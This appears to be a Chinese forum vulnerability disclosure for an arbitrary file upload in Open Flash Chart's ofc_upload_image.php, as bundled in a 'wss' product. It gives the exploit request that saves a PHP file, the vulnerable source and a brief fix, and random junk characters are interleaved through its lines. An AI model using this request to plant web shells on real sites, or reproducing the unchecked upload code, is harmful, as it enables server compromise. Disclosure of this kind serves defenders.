POST 数据漏洞文件执行任意后缀文件保存/ Y9 O0 Q) A) g6 N6 {: x4 D6 n
漏洞文件/chart/php-ofc-library/ofc_upload_image.php$ Y, t) {1 m( b7 B1 l# _
) ]2 z& O7 S; o* x利用:* |) J5 b9 L" ], ` Z+ _
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
7 z+ q; D7 [3 d: z0 q8 b( ]; }3 e, X" [$ F9 u
Post任意数据3 n& X! u: i; j" l9 B) X
保存位置http://localhost/chart/tmp-upload-images/hfy.php6 ]5 w1 h8 j- ~. `( \% B
& w3 k) C' E; d7 w; e" ~' a9 w& [- l, t( U
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
: w* k3 l0 c7 W( f. j1 M5 X3 w$ {5 v7 m! R, v% j: U, v ~+ L
<?php; a* u8 b8 V- ]% r
4 @1 r$ Z9 T$ Z, I3 k3 W$ t//
+ _0 [2 u' X) n// In Open Flash Chart -> save_image debug mode, you: l8 C# X' y+ ?$ m7 [! r% _$ \
// will see the 'echo' text in a new window.
- w4 V a6 R2 F; |; b" X2 o//
, b5 E& R3 @; L& j5 x: m9 G/ B: {- }1 ^5 q2 ]7 Y
/*
, a1 z: z+ ~: T- |1 J6 m- W9 @6 V/ h; P" c; ?
print_r( $_GET );
, p5 c* M6 y K! Wprint_r( $_POST );
' w# p# G: I: ~# \1 J. e6 k: V* tprint_r( $_FILES );
6 r: h( F; J. P9 A* d1 s/ [% w/ F7 @' b. Q: l
print_r( $GLOBALS );8 x# ~7 N' ^8 z
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
& R' n7 `; s3 O j8 f2 l+ M2 b3 N( B- r7 I3 v: a
*/7 T& W' |% F4 t/ _7 s
// default path for the image to be stored //6 F, L- f% ?4 U8 {; c
$default_path = '../tmp-upload-images/';) T7 Q* C! ]0 i( e8 Y
/ R$ _3 N& B# H7 `if (!file_exists($default_path)) mkdir($default_path, 0777, true);
9 b C0 q; R( U% {6 w( G$ b
- O, @) \2 h5 q: D# d3 O, ^// full path to the saved image including filename //
4 r7 B3 N9 X7 b f4 d$destination = $default_path . basename( $_GET[ 'name' ] );
% J, _- R% e8 |4 o7 l: F1 H0 `( ^, J9 ] P4 ~- J- [+ \
echo 'Saving your image to: '. $destination;7 F8 b8 O; O$ r+ ~' k+ i7 r
// print_r( $_POST );' O- R+ o2 W g
// print_r( $_SERVER );8 W: D4 \. _9 B" V R8 j9 ^0 F
// echo $HTTP_RAW_POST_DATA;6 S8 J c, |0 W* d1 @3 Z3 t* ?
- y; c0 y+ P9 `% a0 r//- ^- M+ Y5 c. F6 l0 ?$ E
// POST data is usually string data, but we are passing a RAW .png) ^! M6 h, a1 R& F8 X4 A9 z- m- g: C
// so PHP is a bit confused and $_POST is empty. But it has saved# h. s3 L% ~3 q2 u) |
// the raw bits into $HTTP_RAW_POST_DATA5 y# Q% a3 S& l+ h* W0 E
//
3 h6 N; M. c" D! z' {" w# J g( Q! U" S* W
$jfh = fopen($destination, 'w') or die("can't open file");
; b: B0 u D X/ e8 R1 A# lfwrite($jfh, $HTTP_RAW_POST_DATA);( s# l/ X. U, J X M; ^
fclose($jfh);
- f# H1 E8 d3 o) C& F, S) Q' U/ ?/ A% |5 A: |) P2 v
//
f! |" x4 J/ I9 X4 L// LOOK:
9 r# b1 M' L5 K) i& F//
0 V, @. `5 _0 Zexit();( h5 g& R9 X! ]: {" Q7 {
/// I% W5 J& r i- j) c
// PHP5:
) Y/ b$ f& L0 l9 h. B2 ~! _4 H//
$ m) L, A7 j, S8 S8 w" K- R* F
/ `, z% |9 I% g6 [- O3 H, q/ d' i: o! W& `* l; ?6 `
// default path for the image to be stored //$ O* R; Q* S2 v* M. y8 W$ w2 Y
$default_path = 'tmp-upload-images/';
+ K% Q _+ O, v$ E1 J: f. g* J7 A9 j% Q. }* B
if (!file_exists($default_path)) mkdir($default_path, 0777, true);1 P$ n0 x0 ]! u: V2 T: P1 y8 H
* A1 j6 _3 K+ X) `$ e// full path to the saved image including filename //8 y: F) x/ f$ |4 e K" q
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
+ p- W$ F& q7 J4 i# J% Y4 Q# a$ I. b8 D- m9 y# R
// move the image into the specified directory //
- K* P* K! }: \* s2 Y D2 V+ ?if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {" D8 ?( ?2 y2 t) @9 r! L7 H( |* c
echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";, i# U7 Y$ L6 U
} else {
, ~4 v$ w# T5 {! X! X6 o% X2 ?! _ echo "FILE UPLOAD FAILED";( R. h) g- t3 F3 P+ h+ L
}
- U$ ?1 x; C. y3 S9 I* v. P3 l j4 W) ]5 Y6 C) _" ~
3 r' u& N7 S0 _9 }% I: c/ ~7 K
?>
% p9 C! x8 V% F# m1 M+ L* u& g4 r; I' T: I6 i/ B0 `
& L2 F- d+ K% ^- S4 N+ o0 N$ y5 _# P9 A4 s! g" ~4 x& u3 I2 h
% u! Z8 H" ]+ d9 k! H" e- I7 \6 M) o: C) }) ^* ?# d/ `
& f6 e; F7 j0 m! _7 Q# |
修复方案: & z7 G; }8 G3 P: @9 \
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 ' W" ^; {4 K/ p: n/ X3 m) J
7 L7 D! R% N- O/ \( x) [
8 m8 P+ _* i) e3 ?( z \, k( S* Q' G
5 B0 N* Y% x9 Z0 n: D2 R |